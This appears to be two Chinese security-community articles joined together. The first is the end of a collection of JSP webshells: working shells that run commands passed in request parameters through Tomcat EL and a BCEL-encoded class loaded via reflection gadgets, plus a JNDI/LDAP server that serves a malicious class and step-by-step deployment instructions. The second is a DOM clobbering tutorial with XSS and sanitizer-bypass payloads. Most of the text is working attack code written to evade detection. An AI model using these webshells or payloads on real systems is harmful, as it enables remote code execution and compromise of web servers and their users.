import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author LaoHai
*/
public class Calc {
static {
StringBuilder stringBuilder = new StringBuilder();
try {
String cmd = "whoami";
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
} catch (Throwable e) {
e.printStackTrace();
}
Integer.parseInt(stringBuilder.toString());
}
public static void main(String[] args) {
}
}
LdapServer.java:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
/**
* LDAP server
*
* @author threedr3am
*/
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static byte[] classData;
public static void main(String[] args) {
run(args);
}
public static void run(String[] args) {
int port = args.length > 0 ? Integer.parseInt(args[0]) : 43658;
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
String url = args.length > 0 ? args[1] : "http://localhost/#Calc";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
OperationInterceptor.java:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
public class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(""));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
//todo <= jdk8u191
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
因为引入了ldap sdk，所以，需要去maven仓库下载个unboundid-ldapsdk-3.1.1.jar
具体的使用：
1. 修改Calc.java中的cmd局部变量为需要执行的shell命令，然后执行javac Calc.java编译得到Calc.class
2. 把上一步得到的Calc.class放到webshell运行环境可访问的http服务器中
3. 把LdapServer.java、OperationInterceptor.java、unboundid-ldapsdk-3.1.1.jar放到同一目录下，执行编译`javac -cp unboundid-ldapsdk-3.1.1.jar:. LdapServer.java`
4. 执行`jar cvf LdapServer.jar LdapServer.class OperationInterceptor.class`打包成LdapServer.jar
5. 把LdapServer.jar、unboundid-ldapsdk-3.1.1.jar放到同一目录下，`java -cp LdapServer.jar:unboundid-ldapsdk-3.1.1.jar LdapServer 12345 "http://127.0.0.1:80/#Calc"`,其中12345为ldap server的端口，"[http://127.0.0.1:80/#Calc"中的127.0.0.1:80为上一步中可访问的http服务器，因为Calc.class存放于http服务器根目录，所以为Calc（Calc存放在http服务器的文件有后缀.class，但是参数不需要.class）](http://127.0.0.1:80/#Calc)
6. 把jsp放到tomcat的webapps/ROOT/中，访问<http://127.0.0.1:8080/iii.jsp?threedr3am=ldap://127.0.0.1:12345，threedr3am参数即为刚刚上一步启动的ldap> server的url
### 十四、利用tomcat el的JSP Webshell
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
StringBuilder stringBuilder = new StringBuilder();
String cmd = request.getParameter("cvedr3am");
for (String tmp:cmd.split(" ")) {
stringBuilder.append("'").append(tmp).append("'").append(",");
}
String f = stringBuilder.substring(0, stringBuilder.length() - 1);
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder2 = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder2.append(line).append("\n");
}
if (stringBuilder2.length() > 0) {
response.getOutputStream().write(stringBuilder2.toString().getBytes());
}
%>
这个马需要利用tomcat的环境，不是非常通用，但是胜在简单，而且，若ELProcessor被禁了之后，或者eval方法被禁之后，通过研究其源码，发现还能这样用，又是一个bypass：
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.el.ELContext" %>
<%@ page import="javax.el.ELManager" %>
<%@ page import="javax.el.ExpressionFactory" %>
<%@ page import="javax.el.ValueExpression" %>
<%@ page import="sun.misc.IOUtils" %>
<%
String cmd = request.getParameter("threedr3am");
StringBuilder stringBuilder = new StringBuilder();
for (String tmp:cmd.split(" ")) {
stringBuilder.append("'").append(tmp).append("'").append(",");
}
String f = stringBuilder.substring(0, stringBuilder.length() - 1);
String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";
ELManager manager = new ELManager();
ELContext context = manager.getELContext();
ExpressionFactory factory = ELManager.getExpressionFactory();
ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);
InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();
response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));
%>
### 十五、对BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell
<%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %>
<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.lang.reflect.Array" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.Provider.Service" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.List" %>
<%@ page import="javax.activation.DataHandler" %>
<%@ page import="javax.activation.DataSource" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="javax.crypto.CipherInputStream" %>
<%@ page import="javax.crypto.CipherSpi" %>
<%@ page import="jdk.nashorn.internal.objects.Global" %>
<%@ page import="jdk.nashorn.internal.objects.NativeString" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Paths" %>
<html>
<body>
<h2>BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell</h2>
<%
String tmp = System.getProperty("java.io.tmpdir");
Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());
Class serviceNameClass = Class
.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class);
serviceNameConstructor.setAccessible(true);
Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null);
Object serviceNameArray = Array.newInstance(serviceNameClass, 1);
Array.set(serviceNameArray, 0, serviceName);
Class lazyIteratorClass = Class
.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1];
lazyIteratorConstructor.setAccessible(true);
Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader());
Field namesField = lazyIteratorClass.getDeclaredField("names");
namesField.setAccessible(true);
namesField.set(lazyIterator, serviceNameArray);
Constructor cipherConstructor = Cipher.class
.getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class,
List.class);
cipherConstructor.setAccessible(true);
Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null);
Field opmodeField = Cipher.class.getDeclaredField("opmode");
opmodeField.setAccessible(true);
opmodeField.set(cipher, 1);
Field initializedField = Cipher.class.getDeclaredField("initialized");
initializedField.setAccessible(true);
initializedField.set(cipher, true);
CipherInputStream cipherInputStream = new CipherInputStream(
new ByteArrayInputStream(new byte[0]), cipher);
Class xmlDataSourceClass = Class
.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0];
xmlDataSourceConstructor.setAccessible(true);
DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor
.newInstance("", cipherInputStream);
DataHandler dataHandler = new DataHandler(xmlDataSource);
Base64Data base64Data = new Base64Data();
Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler");
dataHandlerField.setAccessible(true);
dataHandlerField.set(base64Data, dataHandler);
Constructor NativeStringConstructor = NativeString.class
.getDeclaredConstructor(CharSequence.class, Global.class);
NativeStringConstructor.setAccessible(true);
NativeString nativeString = (NativeString) NativeStringConstructor
.newInstance(base64Data, new Global(new Context(new Options(""), null, null)));
try {
new HashMap<>().put(nativeString, "111");
} catch (Throwable e) {
response.getOutputStream().write(e.getCause().getMessage().getBytes());
}
%>
</body>
</html>
其实这个就是最早出现在某个序列化组件被发现的gadget
Threedr3am_15:
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author threedr3am
*/
public class Threedr3am_15 {
static {
StringBuilder stringBuilder = new StringBuilder();
try {
String tmp = System.getProperty("java.io.tmpdir");
String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD")));
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
} catch (Throwable e) {
e.printStackTrace();
}
Integer.parseInt(stringBuilder.toString());
}
}
Threedr3am_make:
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author threedr3am
*/
public class Threedr3am_make {
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_make.class.getClassLoader().getResourceAsStream("Threedr3am_15.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = "$$BCEL$$" + Utility.encode(bytes, true);
bytes = code.getBytes();
for (int i = 0; i < bytes.length; i++) {
System.out.print(bytes[i]);
if (i != bytes.length - 1)
System.out.print(",");
}
}
}
### other
送上一些从jdk lib的jar中搜索出来的一些可能有用的东西。
#### 一、invoke、newInstance反射调用的各种方式
##### 1\. invoke
###### 1.1 Method.invoke
Method method = Threedr3am.class.getMethod("a");
method.invoke(null);
###### 1.2 MethodAccessor.invoke
Method method = Threedr3am.class.getMethod("a");
ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
methodAccessor.invoke(null, null);
###### 1.3 JSClassLoader.invoke
Method method = Main.class.getDeclaredMethod("a");
JSClassLoader.invoke(method, null, null);
##### 2\. newInstance
###### 2.1 JSClassLoader.newInstance
Constructor constructor = Main.class.getConstructor();
JSClassLoader.newInstance(constructor, null);
###### 2.2 Beans加载并实例化
Object o = Beans.instantiate(Thread.currentThread().getContextClassLoader(), "java.lang.String");
#### 二、获取class、method、field、constructor的各种方式
##### 1\. class
###### 1.1 ReflectUtil
sun.reflect.misc.ReflectUtil
ReflectUtil.forName("java.lang.String")
###### 1.2 BytecodeDescriptor
sun.invoke.util.BytecodeDescriptor.parseMethod("(Ljava/lang/String;)V", null).get(0);
###### 1.3 Class.forName
Class.forName("java.lang.String");
###### 1.4 ClassLoader.loadClass
Thread.currentThread().getContextClassLoader().loadClass("java.lang.String");
###### 1.5 JDKBridge.loadClass
JDKBridge.loadClass("java.lang.String");
###### 1.6 RMIClassLoader.loadClass
RMIClassLoader.loadClass("java.lang.String")
###### 1.7 MLet
MLet mLet = new MLet();
mLet.addURL(new URL("http://server/evil.jar"));
mLet.loadClass("Evil").newInstance();
##### 2\. method
###### 2.1 MethodUtil
sun.reflect.misc.MethodUtil
MethodUtil.getMethod(String.class, "valueOf", new Class[]{int.class});
##### 3\. field
###### 3.1 FieldUtil
sun.reflect.misc.FieldUtil
FieldUtil.getField(String.class, "a");
##### 4\. Constructor
###### 4.1 ConstructorUtil
sun.reflect.misc.ConstructorUtil
sun.reflect.misc.ConstructorUtil#getConstructor | 社区文章 |
## 什么是DOM Crobbering?
### 简单定义
DOM
Clobbering就是通过在页面中插入HTML代码，改变javascript中全局变量或者对象属性的含义，从而永久改变javascript执行结果的一种技术。其中的“clobbering”就是指我们破坏了原本的全局变量或对象属性。
### 根本原理
在一个HTML标签中设置了id属性后，可以在javascript里面直接通过id值访问。
<input id=x>
<script>alert(x); //output: [object HTMLInputElement]</script>
如果javascript脚本中本身就已经存在一个全局变量或对象属性x，那么该x的含义就会遭到破坏。
### 利用前提
1. 被攻击页面允许用户插入HTML代码；
2. 页面的javascript脚本使用了类似a.b.c层级结构的全局变量或对象属性引用来修改页面DOM。
根据我们开头给出的简单定义，页面脚本中层级结构的全局变量或对象属性引用会被用户插入的HTML代码破坏，赋予新的含义，从而改变脚本执行结果。
所以问题就在于，如何在插入的HTML代码中构造出同样的a.b.c的引用结构，从而破坏其原始含义。
## 多层引用结构的构造
之所以能构造出层级结构，是因为HTML集合(HTMLCollection)的存在。HTMLCollection对象类似于一个包含多个HTML元素的数组，在索引HTMLCollection对象中的元素时，可以得到a.b这样的结构。
### 二层结构
在HTML中，如果多个标签的id值相同，浏览器会自动形成一个HTML集合，可以通过数字索引或者name值访问集合中的元素。
<input id=idValue name=x>
<a href="//clobbering" id=idValue name=n>dom clobbering</a>
<script>
alert(idValue); //output: [object HTMLCollection]
alert(idValue.x); //output: [object HTMLInputElement]
alert(idValue[1]); //output: http://clobbering/
alert(idValue.aName); //output: http://clobbering/
</script>
注意到，使用id值对锚标签进行访问时，返回的是href属性值。因此可以构造两个相同id值的标签，其中第二个是锚标签，将想要插入的值放在锚标签的href属性中。这时就可以破坏目标页面中名为idValue.aName的二层引用了。
### 三层及以上结构
利用iframe和srcdoc可以构造更高层级的结构。因为如果指定了一个iframe的name值为nameValue，其contentWindow就会直接赋给nameValue这个全局变量。利用该原理，可以嵌套多层iframe，实现多层引用结构的构造。（注：可以继续嵌套，但是要对引号进行编码。）
<iframe name=a srcdoc="
<iframe name=b srcdoc='<a id=c name=d href=cid:Clobbered>test</a>'>"></iframe>
<script>setTimeout(()=>alert(a.b.c),500); //output: cid:Clobbered</script>
<iframe name=a srcdoc="
<iframe name=b srcdoc='<a id=c><a id=c name=d href=cid:Clobbered>test</a>'>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500); //output: cid:Clobbered</script>
注意以上代码使用了setTimeout函数引发延时，因为iframe的渲染需要时间。
### 带限制的层级结构
在上面的例子中，所有HTML集合的最后一个元素都是锚标签，这是因为在用idValue或者nameValue引用标签时，只有锚标签会直接返回href值（可以被设置为任意内容），而不是一个说明元素类型的字符串。
如果不使用锚标签，idValue.attributeName的形式也可以引用在属性中设置的任意内容。
<div id=idValue align=clobbering>
<script>
alert(idValue.align); //output: clobbering
</script>
#### 不同的id值组合形成HTMLCollection
在HTML中，表单与表单控件，表单与图像标签间都可以形成HTML集合，不管id值是什么，这种情况下，可以用idValue1.idValue2.attributeName的形式进行引用。
<form id=idValue1 name=m>
<input id=idValue2 value="clobbering">
<script>
alert(idValue1)； //output: [object HTMLFormElement]
alert(idValue1.idValue2.value)； //output: clobbering
</script>
这种带限制的层级结构的意思是，该方式构造的多层引用a.b.c，最末值c是HTML规范中定义的属性名中的一个，因为只有已定义的属性名才会有对应的DOM属性，所以不能使用自己定义的属性名。
## 利用实例
### 二层结构破坏脚本中的对象引用
<html>
<body>
<a id=name1><a href='cid:"onerror=alert(1)//' id=name1 name=name2> <!-- 攻击者插入 --></body>
</html>
<script>
let outdiv = document.createElement("div");
let image = '<img src="' + (name1.name2 ? name1.name2 : "http://www.baidu.com") + '">';
outdiv.innerHTML = image;
document.body.appentChild(outdiv);
</script>
原始脚本中引用了name1.name2，这里只是一个简单的说明，现实中的例子肯定更加复杂，不可能随便引用一个没见过的对象名。因此我们使用锚标签构造了一个HTML集合，使用idValue.nameValue的形式，在href属性中添加触发XSS的代码。
由于目标页面的代码结构，需要使用双引号，因此在这里使用cid协议，该协议不会对双引号进行编码，否则无法触发XSS。
### 破坏脚本中的属性(property)引用
<html>
<body>
<!-- 表单，用于提交payload -->
<form action="" id="form1">
<input type="text" name="payload" style="width: 500px;height:60px;"><br>
<input type="button" onclick=formSubmit() value="submit">
</form>
</body>
</html>
<script>
// 遍历DOM树，不需要关注这个函数
function DomBFS(element, callback) {
var queue = [];
while(element) {
callback(element);
if(element.children.length !== 0) {
for (var i = 0; i < element.children.length; i++) {
queue.push(element.children[i]);
}
}
element = queue.shift();
}
}
// 过滤用户提交的HTML代码，如果包含onclick, onerror，删掉该属性(attribute)
let blockAttributes = ["onclick", "onerror"];
function formSubmit() {
let f = document.getElementById("form1");
let sandbox = document.implementation.createHTMLDocument('');
let root = sandbox.createElement("div");
root.innerHTML = f.payload.value;
DomBFS(root, function(element){
// 遍历属性名
for(var a = 0; a < element.attributes.length; a+=1) {
let attr = element.attributes[a];
if(blockAttributes.indexOf(attr.name) != -1) {
element.removeAttribute(attr.name);
a -= 1;
}
}
})
document.body.appendChild(root);
}
</script>
#### payload
<form onclick=alert(1)><input id=attributes>Click me
#### 运行结果
对比：
#### 分析
目标页面在对标签属性(attribute)进行过滤时，调用了element.attributes.length，在我们的payload中，设置了一个id值为attributes的input标签，因此破坏了过滤代码中的attributes的含义。
为了便于理解，在遍历DOM树时输出一些信息：
DomBFS(root, function(element){
console.log("element: " + element);
console.log("attributes: " + element.attributes);
console.log("length: " + element.attributes.length);
